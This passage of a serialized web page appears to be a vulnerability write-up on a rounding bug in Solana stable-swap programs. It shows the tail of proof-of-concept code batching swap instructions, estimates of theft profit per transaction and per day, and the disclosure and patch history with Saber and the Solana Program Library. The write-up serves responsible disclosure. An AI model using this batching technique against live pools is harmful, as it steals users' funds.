tyle":7054},[163303],{"type":32,"value":163304},"admin_fee_account_sbtc_to_ren",{"type":26,"tag":217,"props":163306,"children":163307},{"style":7048},[163308],{"type":32,"value":10953},{"type":26,"tag":217,"props":163310,"children":163311},{"class":7028,"line":7621},[163312,163317],{"type":26,"tag":217,"props":163313,"children":163314},{"style":7130},[163315],{"type":32,"value":163316},"        1",{"type":26,"tag":217,"props":163318,"children":163319},{"style":7048},[163320],{"type":32,"value":10953},{"type":26,"tag":217,"props":163322,"children":163323},{"class":7028,"line":7672},[163324],{"type":26,"tag":217,"props":163325,"children":163326},{"style":7130},[163327],{"type":32,"value":163328},"        2\n",{"type":26,"tag":217,"props":163330,"children":163331},{"class":7028,"line":7681},[163332,163336,163340,163344],{"type":26,"tag":217,"props":163333,"children":163334},{"style":7048},[163335],{"type":32,"value":121337},{"type":26,"tag":217,"props":163337,"children":163338},{"style":7149},[163339],{"type":32,"value":180},{"type":26,"tag":217,"props":163341,"children":163342},{"style":7064},[163343],{"type":32,"value":97935},{"type":26,"tag":217,"props":163345,"children":163346},{"style":7048},[163347],{"type":32,"value":8217},{"type":26,"tag":217,"props":163349,"children":163350},{"class":7028,"line":7754},[163351],{"type":26,"tag":217,"props":163352,"children":163353},{"emptyLinePlaceholder":17},[163354],{"type":32,"value":7817},{"type":26,"tag":217,"props":163356,"children":163357},{"class":7028,"line":7784},[163358],{"type":26,"tag":217,"props":163359,"children":163360},{"style":7033},[163361],{"type":32,"value":163362},"    // nonce\n",{"type":26,"tag":217,"props":163364,"children":163365},{"class":7028,"line":7802},[163366,163371,163375,163379,163383,163388,163392,163396,163400,163404,163408,163412,163416,163421],{"type":26,"tag":217,"props":163367,"children":163368},{"style":7054},[163369],{"type":32,"value":163370},"    swap_instruction",{"type":26,"tag":217,"props":163372,"children":163373},{"style":7149},[163374],{"type":32,"value":180},{"type":26,"tag":217,"props":163376,"children":163377},{"style":7048},[163378],{"type":32,"value":33715},{"type":26,"tag":217,"props":163380,"children":163381},{"style":7149},[163382],{"type":32,"value":180},{"type":26,"tag":217,"props":163384,"children":163385},{"style":7064},[163386],{"type":32,"value":163387},"append",{"type":26,"tag":217,"props":163389,"children":163390},{"style":7048},[163391],{"type":32,"value":1851},{"type":26,"tag":217,"props":163393,"children":163394},{"style":7149},[163395],{"type":32,"value":9804},{"type":26,"tag":217,"props":163397,"children":163398},{"style":7154},[163399],{"type":32,"value":90786},{"type":26,"tag":217,"props":163401,"children":163402},{"style":7064},[163403],{"type":32,"value":121258},{"type":26,"tag":217,"props":163405,"children":163406},{"style":7048},[163407],{"type":32,"value":7127},{"type":26,"tag":217,"props":163409,"children":163410},{"style":7054},[163411],{"type":32,"value":2290},{"type":26,"tag":217,"props":163413,"children":163414},{"style":7048},[163415],{"type":32,"value":7599},{"type":26,"tag":217,"props":163417,"children":163418},{"style":7054},[163419],{"type":32,"value":163420},"extranonce",{"type":26,"tag":217,"props":163422,"children":163423},{"style":7048},[163424],{"type":32,"value":26245},{"type":26,"tag":217,"props":163426,"children":163427},{"class":7028,"line":7811},[163428],{"type":26,"tag":217,"props":163429,"children":163430},{"emptyLinePlaceholder":17},[163431],{"type":32,"value":7817},{"type":26,"tag":217,"props":163433,"children":163434},{"class":7028,"line":7820},[163435,163439,163443,163448,163452,163456],{"type":26,"tag":217,"props":163436,"children":163437},{"style":7154},[163438],{"type":32,"value":77780},{"type":26,"tag":217,"props":163440,"children":163441},{"style":7154},[163442],{"type":32,"value":94619},{"type":26,"tag":217,"props":163444,"children":163445},{"style":7054},[163446],{"type":32,"value":163447}," instructions",{"type":26,"tag":217,"props":163449,"children":163450},{"style":7149},[163451],{"type":32,"value":8993},{"type":26,"tag":217,"props":163453,"children":163454},{"style":7064},[163455],{"type":32,"value":121258},{"type":26,"tag":217,"props":163457,"children":163458},{"style":7048},[163459],{"type":32,"value":163460},"[];\n",{"type":26,"tag":217,"props":163462,"children":163463},{"class":7028,"line":7844},[163464],{"type":26,"tag":217,"props":163465,"children":163466},{"emptyLinePlaceholder":17},[163467],{"type":32,"value":7817},{"type":26,"tag":217,"props":163469,"children":163470},{"class":7028,"line":7910},[163471,163476,163480,163484,163488,163493],{"type":26,"tag":217,"props":163472,"children":163473},{"style":7054},[163474],{"type":32,"value":163475},"    instructions",{"type":26,"tag":217,"props":163477,"children":163478},{"style":7149},[163479],{"type":32,"value":180},{"type":26,"tag":217,"props":163481,"children":163482},{"style":7064},[163483],{"type":32,"value":13495},{"type":26,"tag":217,"props":163485,"children":163486},{"style":7048},[163487],{"type":32,"value":1851},{"type":26,"tag":217,"props":163489,"children":163490},{"style":7054},[163491],{"type":32,"value":163492},"swap_instruction",{"type":26,"tag":217,"props":163494,"children":163495},{"style":7048},[163496],{"type":32,"value":7669},{"type":26,"tag":217,"props":163498,"children":163499},{"class":7028,"line":7954},[163500],{"type":26,"tag":217,"props":163501,"children":163502},{"emptyLinePlaceholder":17},[163503],{"type":32,"value":7817},{"type":26,"tag":217,"props":163505,"children":163506},{"class":7028,"line":7985},[163507,163511,163515,163520,163524,163528,163533,163537,163541,163545,163549,163553,163557],{"type":26,"tag":217,"props":163508,"children":163509},{"style":7054},[163510],{"type":32,"value":77671},{"type":26,"tag":217,"props":163512,"children":163513},{"style":7149},[163514],{"type":32,"value":180},{"type":26,"tag":217,"props":163516,"children":163517},{"style":7064},[163518],{"type":32,"value":163519},"execute_as_transaction",{"type":26,"tag":217,"props":163521,"children":163522},{"style":7048},[163523],{"type":32,"value":1851},{"type":26,"tag":217,"props":163525,"children":163526},{"style":7149},[163527],{"type":32,"value":9804},{"type":26,"tag":217,"props":163529,"children":163530},{"style":7054},[163531],{"type":32,"value":163532},"instructions",{"type":26,"tag":217,"props":163534,"children":163535},{"style":7048},[163536],{"type":32,"value":7599},{"type":26,"tag":217,"props":163538,"children":163539},{"style":7149},[163540],{"type":32,"value":9804},{"type":26,"tag":217,"props":163542,"children":163543},{"style":7064},[163544],{"type":32,"value":98516},{"type":26,"tag":217,"props":163546,"children":163547},{"style":7048},[163548],{"type":32,"value":7127},{"type":26,"tag":217,"props":163550,"children":163551},{"style":7149},[163552],{"type":32,"value":9804},{"type":26,"tag":217,"props":163554,"children":163555},{"style":7054},[163556],{"type":32,"value":163216},{"type":26,"tag":217,"props":163558,"children":163559},{"style":7048},[163560],{"type":32,"value":26245},{"type":26,"tag":217,"props":163562,"children":163563},{"class":7028,"line":8027},[163564],{"type":26,"tag":217,"props":163565,"children":163566},{"style":7048},[163567],{"type":32,"value":7184},{"type":26,"tag":39,"props":163569,"children":163570},{},[163571],{"type":32,"value":163572},"It works!",{"type":26,"tag":35,"props":163574,"children":163575},{},[163576],{"type":26,"tag":39,"props":163577,"children":163578},{},[163579],{"type":32,"value":163580},"holy shit\nyea, this is big",{"type":26,"tag":39,"props":163582,"children":163583},{},[163584],{"type":26,"tag":6468,"props":163585,"children":163587},{"alt":8,"src":163586},"/posts/spl-swap/poc.png",[],{"type":26,"tag":27,"props":163589,"children":163591},{"id":163590},"exploitability",[163592],{"type":32,"value":163593},"Exploitability",{"type":26,"tag":39,"props":163595,"children":163596},{},[163597],{"type":32,"value":163598},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":26,"tag":39,"props":163600,"children":163601},{},[163602],{"type":32,"value":163603},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":26,"tag":39,"props":163605,"children":163606},{},[163607],{"type":32,"value":163608},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":26,"tag":39,"props":163610,"children":163611},{},[163612],{"type":26,"tag":6468,"props":163613,"children":163615},{"alt":8,"src":163614},"/posts/spl-swap/pr.png",[],{"type":26,"tag":39,"props":163617,"children":163618},{},[163619,163621,163626],{"type":32,"value":163620},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":26,"tag":65,"props":163622,"children":163623},{},[163624],{"type":32,"value":163625},"per instruction",{"type":32,"value":163627},". Transactions on Solana can also contain multiple instructions.",{"type":26,"tag":39,"props":163629,"children":163630},{},[163631],{"type":32,"value":163632},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":26,"tag":39,"props":163634,"children":163635},{},[163636,163638,163642],{"type":32,"value":163637},"Some quick napkin math confirms that this ",{"type":26,"tag":65,"props":163639,"children":163640},{},[163641],{"type":32,"value":76669},{"type":32,"value":163643}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":26,"tag":39,"props":163645,"children":163646},{},[163647],{"type":26,"tag":83,"props":163648,"children":163650},{"className":163649},[213,4703],[163651],{"type":26,"tag":217,"props":163652,"children":163654},{"className":163653},[225],[163655],{"type":26,"tag":217,"props":163656,"children":163658},{"className":163657,"ariaHidden":231},[230],[163659,163745,163797,163835],{"type":26,"tag":217,"props":163660,"children":163662},{"className":163661},[236],[163663,163667,163672,163722,163732,163736,163741],{"type":26,"tag":217,"props":163664,"children":163666},{"className":163665,"style":19070},[241],[],{"type":26,"tag":217,"props":163668,"children":163670},{"className":163669},[247],[163671],{"type":32,"value":185},{"type":26,"tag":217,"props":163673,"children":163675},{"className":163674},[247],[163676,163681],{"type":26,"tag":217,"props":163677,"children":163679},{"className":163678},[247],[163680],{"type":32,"value":1883},{"type":26,"tag":217,"props":163682,"children":163684},{"className":163683},[2160],[163685],{"type":26,"tag":217,"props":163686,"children":163688},{"className":163687},[299],[163689],{"type":26,"tag":217,"props":163690,"children":163692},{"className":163691},[305],[163693],{"type":26,"tag":217,"props":163694,"children":163696},{"className":163695,"style":19070},[310],[163697],{"type":26,"tag":217,"props":163698,"children":163699},{"style":6105},[163700,163704],{"type":26,"tag":217,"props":163701,"children":163703},{"className":163702,"style":2182},[320],[],{"type":26,"tag":217,"props":163705,"children":163707},{"className":163706},[2187,2188,2189,2190],[163708],{"type":26,"tag":217,"props":163709,"children":163711},{"className":163710},[247,2190],[163712,163717],{"type":26,"tag":217,"props":163713,"children":163715},{"className":163714},[247,2190],[163716],{"type":32,"value":3379},{"type":26,"tag":217,"props":163718,"children":163720},{"className":163719},[247,2190],[163721],{"type":32,"value":27891},{"type":26,"tag":217,"props":163723,"children":163725},{"className":163724},[247,32],[163726],{"type":26,"tag":217,"props":163727,"children":163729},{"className":163728},[247],[163730],{"type":32,"value":163731}," BTC",{"type":26,"tag":217,"props":163733,"children":163735},{"className":163734,"style":336},[258],[],{"type":26,"tag":217,"props":163737,"children":163739},{"className":163738},[341],[163740],{"type":32,"value":70552},{"type":26,"tag":217,"props":163742,"children":163744},{"className":163743,"style":336},[258],[],{"type":26,"tag":217,"props":163746,"children":163748},{"className":163747},[236],[163749,163753,163759,163764,163768,163774,163784,163788,163793],{"type":26,"tag":217,"props":163750,"children":163752},{"className":163751,"style":5514},[241],[],{"type":26,"tag":217,"props":163754,"children":163756},{"className":163755},[247],[163757],{"type":32,"value":163758},"$41",{"type":26,"tag":217,"props":163760,"children":163762},{"className":163761},[1865],[163763],{"type":32,"value":1868},{"type":26,"tag":217,"props":163765,"children":163767},{"className":163766,"style":1872},[258],[],{"type":26,"tag":217,"props":163769,"children":163771},{"className":163770},[247],[163772],{"type":32,"value":163773},"400/",{"type":26,"tag":217,"props":163775,"children":163777},{"className":163776},[247,32],[163778],{"type":26,"tag":217,"props":163779,"children":163781},{"className":163780},[247],[163782],{"type":32,"value":163783},"BTC",{"type":26,"tag":217,"props":163785,"children":163787},{"className":163786,"style":336},[258],[],{"type":26,"tag":217,"props":163789,"children":163791},{"className":163790},[341],[163792],{"type":32,"value":70552},{"type":26,"tag":217,"props":163794,"children":163796},{"className":163795,"style":336},[258],[],{"type":26,"tag":217,"props":163798,"children":163800},{"className":163799},[236],[163801,163806,163812,163822,163826,163831],{"type":26,"tag":217,"props":163802,"children":163805},{"className":163803,"style":163804},[241],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":26,"tag":217,"props":163807,"children":163809},{"className":163808},[247],[163810],{"type":32,"value":163811},"150",{"type":26,"tag":217,"props":163813,"children":163815},{"className":163814},[247,32],[163816],{"type":26,"tag":217,"props":163817,"children":163819},{"className":163818},[247],[163820],{"type":32,"value":163821}," swaps",{"type":26,"tag":217,"props":163823,"children":163825},{"className":163824,"style":259},[258],[],{"type":26,"tag":217,"props":163827,"children":163829},{"className":163828},[264],[163830],{"type":32,"value":267},{"type":26,"tag":217,"props":163832,"children":163834},{"className":163833,"style":259},[258],[],{"type":26,"tag":217,"props":163836,"children":163838},{"className":163837},[236],[163839,163844],{"type":26,"tag":217,"props":163840,"children":163843},{"className":163841,"style":163842},[241],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":26,"tag":217,"props":163845,"children":163847},{"className":163846},[247],[163848],{"type":32,"value":163849},"$0.0621",{"type":26,"tag":39,"props":163851,"children":163852},{},[163853],{"type":32,"value":163854},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":26,"tag":39,"props":163856,"children":163857},{},[163858],{"type":32,"value":163859},"We're well on our way to becoming a millionaire!",{"type":26,"tag":27,"props":163861,"children":163862},{"id":8787},[163863],{"type":32,"value":8790},{"type":26,"tag":39,"props":163865,"children":163866},{},[163867],{"type":32,"value":163868},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":26,"tag":39,"props":163870,"children":163871},{},[163872],{"type":32,"value":163873},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":26,"tag":207,"props":163875,"children":163877},{"code":163876,"language":24330,"meta":8,"className":24328,"style":8},"solana logs -um | grep 'Instruction: Swap' -B1\n",[163878],{"type":26,"tag":83,"props":163879,"children":163880},{"__ignoreMap":8},[163881],{"type":26,"tag":217,"props":163882,"children":163883},{"class":7028,"line":7029},[163884,163888,163893,163898,163902,163907,163912],{"type":26,"tag":217,"props":163885,"children":163886},{"style":7064},[163887],{"type":32,"value":90642},{"type":26,"tag":217,"props":163889,"children":163890},{"style":7338},[163891],{"type":32,"value":163892}," logs",{"type":26,"tag":217,"props":163894,"children":163895},{"style":7338},[163896],{"type":32,"value":163897}," -um",{"type":26,"tag":217,"props":163899,"children":163900},{"style":7149},[163901],{"type":32,"value":92019},{"type":26,"tag":217,"props":163903,"children":163904},{"style":7064},[163905],{"type":32,"value":163906}," grep",{"type":26,"tag":217,"props":163908,"children":163909},{"style":7338},[163910],{"type":32,"value":163911}," 'Instruction: Swap'",{"type":26,"tag":217,"props":163913,"children":163914},{"style":7338},[163915],{"type":32,"value":163916}," -B1\n",{"type":26,"tag":39,"props":163918,"children":163919},{},[163920],{"type":32,"value":163921},"With some Google dorking, we were able to identify many of these programs.",{"type":26,"tag":207,"props":163923,"children":163925},{"code":163924},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[163926],{"type":26,"tag":83,"props":163927,"children":163928},{"__ignoreMap":8},[163929],{"type":32,"value":163924},{"type":26,"tag":39,"props":163931,"children":163932},{},[163933],{"type":32,"value":163934},"Now it was time to contact these teams.",{"type":26,"tag":39,"props":163936,"children":163937},{},[163938],{"type":32,"value":163939},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":26,"tag":39,"props":163941,"children":163942},{},[163943],{"type":32,"value":163944},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":26,"tag":207,"props":163946,"children":163948},{"code":163947,"language":56139,"meta":8,"className":56140,"style":8},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[163949],{"type":26,"tag":83,"props":163950,"children":163951},{"__ignoreMap":8},[163952,164005,164017],{"type":26,"tag":217,"props":163953,"children":163954},{"class":7028,"line":7029},[163955,163959,163963,163968,163972,163977,163981,163985,163989,163993,163997,164001],{"type":26,"tag":217,"props":163956,"children":163957},{"style":7149},[163958],{"type":32,"value":18420},{"type":26,"tag":217,"props":163960,"children":163961},{"style":7154},[163962],{"type":32,"value":91366},{"type":26,"tag":217,"props":163964,"children":163965},{"style":7054},[163966],{"type":32,"value":163967}," dy",{"type":26,"tag":217,"props":163969,"children":163970},{"style":7149},[163971],{"type":32,"value":8993},{"type":26,"tag":217,"props":163973,"children":163974},{"style":7054},[163975],{"type":32,"value":163976}," swap_destination_amount",{"type":26,"tag":217,"props":163978,"children":163979},{"style":7149},[163980],{"type":32,"value":180},{"type":26,"tag":217,"props":163982,"children":163983},{"style":7064},[163984],{"type":32,"value":162931},{"type":26,"tag":217,"props":163986,"children":163987},{"style":7048},[163988],{"type":32,"value":1851},{"type":26,"tag":217,"props":163990,"children":163991},{"style":7054},[163992],{"type":32,"value":19017},{"type":26,"tag":217,"props":163994,"children":163995},{"style":7048},[163996],{"type":32,"value":1889},{"type":26,"tag":217,"props":163998,"children":163999},{"style":7149},[164000],{"type":32,"value":605},{"type":26,"tag":217,"props":164002,"children":164003},{"style":7048},[164004],{"type":32,"value":7162},{"type":26,"tag":217,"props":164006,"children":164007},{"class":7028,"line":6770},[164008,164012],{"type":26,"tag":217,"props":164009,"children":164010},{"style":7149},[164011],{"type":32,"value":3540},{"type":26,"tag":217,"props":164013,"children":164014},{"style":7033},[164015],{"type":32,"value":164016},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":26,"tag":217,"props":164018,"children":164019},{"class":7028,"line":6779},[164020,164024,164028,164032,164036,164040,164044,164048,164052,164056,164060,164064,164068,164072,164076,164080,164084],{"type":26,"tag":217,"props":164021,"children":164022},{"style":7149},[164023],{"type":32,"value":3540},{"type":26,"tag":217,"props":164025,"children":164026},{"style":7154},[164027],{"type":32,"value":91366},{"type":26,"tag":217,"props":164029,"children":164030},{"style":7054},[164031],{"type":32,"value":163967},{"type":26,"tag":217,"props":164033,"children":164034},{"style":7149},[164035],{"type":32,"value":8993},{"type":26,"tag":217,"props":164037,"children":164038},{"style":7054},[164039],{"type":32,"value":163976},{"type":26,"tag":217,"props":164041,"children":164042},{"style":7149},[164043],{"type":32,"value":180},{"type":26,"tag":217,"props":164045,"children":164046},{"style":7064},[164047],{"type":32,"value":162931},{"type":26,"tag":217,"props":164049,"children":164050},{"style":7048},[164051],{"type":32,"value":1851},{"type":26,"tag":217,"props":164053,"children":164054},{"style":7054},[164055],{"type":32,"value":19017},{"type":26,"tag":217,"props":164057,"children":164058},{"style":7048},[164059],{"type":32,"value":1889},{"type":26,"tag":217,"props":164061,"children":164062},{"style":7149},[164063],{"type":32,"value":91725},{"type":26,"tag":217,"props":164065,"children":164066},{"style":7064},[164067],{"type":32,"value":162931},{"type":26,"tag":217,"props":164069,"children":164070},{"style":7048},[164071],{"type":32,"value":1851},{"type":26,"tag":217,"props":164073,"children":164074},{"style":7130},[164075],{"type":32,"value":185},{"type":26,"tag":217,"props":164077,"children":164078},{"style":7048},[164079],{"type":32,"value":1889},{"type":26,"tag":217,"props":164081,"children":164082},{"style":7149},[164083],{"type":32,"value":605},{"type":26,"tag":217,"props":164085,"children":164086},{"style":7048},[164087],{"type":32,"value":7162},{"type":26,"tag":39,"props":164089,"children":164090},{},[164091,164093,164100],{"type":32,"value":164092},"For reference, here is the ",{"type":26,"tag":163,"props":164094,"children":164097},{"href":164095,"rel":164096},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[167],[164098],{"type":32,"value":164099},"Curve.fi implementation",{"type":32,"value":180},{"type":26,"tag":207,"props":164102,"children":164104},{"code":164103,"language":59409,"meta":8,"className":59407,"style":8},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n",[164105],{"type":26,"tag":83,"props":164106,"children":164107},{"__ignoreMap":8},[164108,164168],{"type":26,"tag":217,"props":164109,"children":164110},{"class":7028,"line":7029},[164111,164116,164120,164125,164129,164134,164138,164142,164146,164150,164155,164159,164163],{"type":26,"tag":217,"props":164112,"children":164113},{"style":7048},[164114],{"type":32,"value":164115},"    dy",{"type":26,"tag":217,"props":164117,"children":164118},{"style":7149},[164119],{"type":32,"value":1473},{"type":26,"tag":217,"props":164121,"children":164122},{"style":7119},[164123],{"type":32,"value":164124}," uint256",{"type":26,"tag":217,"props":164126,"children":164127},{"style":7149},[164128],{"type":32,"value":8993},{"type":26,"tag":217,"props":164130,"children":164131},{"style":7048},[164132],{"type":32,"value":164133}," xp[j] ",{"type":26,"tag":217,"props":164135,"children":164136},{"style":7149},[164137],{"type":32,"value":18420},{"type":26,"tag":217,"props":164139,"children":164140},{"style":7048},[164141],{"type":32,"value":137657},{"type":26,"tag":217,"props":164143,"children":164144},{"style":7149},[164145],{"type":32,"value":18420},{"type":26,"tag":217,"props":164147,"children":164148},{"style":7130},[164149],{"type":32,"value":9742},{"type":26,"tag":217,"props":164151,"children":164152},{"style":7048},[164153],{"type":32,"value":164154},"  # ",{"type":26,"tag":217,"props":164156,"children":164157},{"style":7149},[164158],{"type":32,"value":18420},{"type":26,"tag":217,"props":164160,"children":164161},{"style":7130},[164162],{"type":32,"value":185},{"type":26,"tag":217,"props":164164,"children":164165},{"style":7048},[164166],{"type":32,"value":164167}," just in case there were some rounding errors\n",{"type":26,"tag":217,"props":164169,"children":164170},{"class":7028,"line":6770},[164171,164176,164180,164184,164188,164193,164197,164202,164206],{"type":26,"tag":217,"props":164172,"children":164173},{"style":7048},[164174],{"type":32,"value":164175},"    dy_fee",{"type":26,"tag":217,"props":164177,"children":164178},{"style":7149},[164179],{"type":32,"value":1473},{"type":26,"tag":217,"props":164181,"children":164182},{"style":7119},[164183],{"type":32,"value":164124},{"type":26,"tag":217,"props":164185,"children":164186},{"style":7149},[164187],{"type":32,"value":8993},{"type":26,"tag":217,"props":164189,"children":164190},{"style":7048},[164191],{"type":32,"value":164192}," dy ",{"type":26,"tag":217,"props":164194,"children":164195},{"style":7149},[164196],{"type":32,"value":10006},{"type":26,"tag":217,"props":164198,"children":164199},{"style":7048},[164200],{"type":32,"value":164201}," self.fee ",{"type":26,"tag":217,"props":164203,"children":164204},{"style":7149},[164205],{"type":32,"value":5756},{"type":26,"tag":217,"props":164207,"children":164208},{"style":7048},[164209],{"type":32,"value":164210}," FEE_DENOMINATOR\n",{"type":26,"tag":39,"props":164212,"children":164213},{},[164214,164216,164223],{"type":32,"value":164215},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":26,"tag":163,"props":164217,"children":164220},{"href":164218,"rel":164219},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[167],[164221],{"type":32,"value":164222},"original commit",{"type":32,"value":164224},", not as an additional security patch.",{"type":26,"tag":207,"props":164226,"children":164228},{"code":164227},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[164229],{"type":26,"tag":83,"props":164230,"children":164231},{"__ignoreMap":8},[164232],{"type":32,"value":164227},{"type":26,"tag":39,"props":164234,"children":164235},{},[164236,164238,164245],{"type":32,"value":164237},"The commit adding stable swaps to SPL was ",{"type":26,"tag":163,"props":164239,"children":164242},{"href":164240,"rel":164241},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[167],[164243],{"type":32,"value":164244},"made a few months later",{"type":32,"value":164246},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":26,"tag":207,"props":164248,"children":164250},{"code":164249},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[164251],{"type":26,"tag":83,"props":164252,"children":164253},{"__ignoreMap":8},[164254],{"type":32,"value":164249},{"type":26,"tag":39,"props":164256,"children":164257},{},[164258,164260,164267],{"type":32,"value":164259},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":26,"tag":163,"props":164261,"children":164264},{"href":164262,"rel":164263},"https://github.com/solana-labs/solana-program-library",[167],[164265],{"type":32,"value":164266},"the Solana Program Library",{"type":32,"value":180},{"type":26,"tag":39,"props":164269,"children":164270},{},[164271],{"type":32,"value":164272},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":26,"tag":39,"props":164274,"children":164275},{},[164276,164283],{"type":26,"tag":163,"props":164277,"children":164280},{"href":164278,"rel":164279},"https://github.com/joncinque",[167],[164281],{"type":32,"value":164282},"@joncinque",{"type":32,"value":164284}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":26,"tag":35,"props":164286,"children":164287},{},[164288],{"type":26,"tag":39,"props":164289,"children":164290},{},[164291],{"type":32,"value":164292},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":26,"tag":39,"props":164294,"children":164295},{},[164296,164298,164305,164307,164313],{"type":32,"value":164297},"After some thought, he helped ",{"type":26,"tag":163,"props":164299,"children":164302},{"href":164300,"rel":164301},"https://github.com/solana-labs/solana-program-library/pull/2942",[167],[164303],{"type":32,"value":164304},"introduce a PR",{"type":32,"value":164306}," which ceilings the computation in ",{"type":26,"tag":83,"props":164308,"children":164310},{"className":164309},[],[164311],{"type":32,"value":164312},"compute_new_destination_amount",{"type":32,"value":164314}," to correctly round within the stable curve math library.",{"type":26,"tag":207,"props":164316,"children":164318},{"code":164317,"language":56139,"meta":8,"className":56140,"style":8},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[164319],{"type":26,"tag":83,"props":164320,"children":164321},{"__ignoreMap":8},[164322,164330,164359,164386,164414,164438,164514,164618,164645,164740,164843,164870,164882,164901,164924],{"type":26,"tag":217,"props":164323,"children":164324},{"class":7028,"line":7029},[164325],{"type":26,"tag":217,"props":164326,"children":164327},{"style":7033},[164328],{"type":32,"value":164329},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":26,"tag":217,"props":164331,"children":164332},{"class":7028,"line":6770},[164333,164338,164342,164347,164351,164355],{"type":26,"tag":217,"props":164334,"children":164335},{"style":7154},[164336],{"type":32,"value":164337},"     let",{"type":26,"tag":217,"props":164339,"children":164340},{"style":7154},[164341],{"type":32,"value":94619},{"type":26,"tag":217,"props":164343,"children":164344},{"style":7054},[164345],{"type":32,"value":164346}," y_prev",{"type":26,"tag":217,"props":164348,"children":164349},{"style":7149},[164350],{"type":32,"value":1473},{"type":26,"tag":217,"props":164352,"children":164353},{"style":7119},[164354],{"type":32,"value":152653},{"type":26,"tag":217,"props":164356,"children":164357},{"style":7048},[164358],{"type":32,"value":7162},{"type":26,"tag":217,"props":164360,"children":164361},{"class":7028,"line":6779},[164362,164366,164370,164374,164378,164382],{"type":26,"tag":217,"props":164363,"children":164364},{"style":7154},[164365],{"type":32,"value":164337},{"type":26,"tag":217,"props":164367,"children":164368},{"style":7154},[164369],{"type":32,"value":94619},{"type":26,"tag":217,"props":164371,"children":164372},{"style":7054},[164373],{"type":32,"value":162722},{"type":26,"tag":217,"props":164375,"children":164376},{"style":7149},[164377],{"type":32,"value":8993},{"type":26,"tag":217,"props":164379,"children":164380},{"style":7054},[164381],{"type":32,"value":162731},{"type":26,"tag":217,"props":164383,"children":164384},{"style":7048},[164385],{"type":32,"value":7162},{"type":26,"t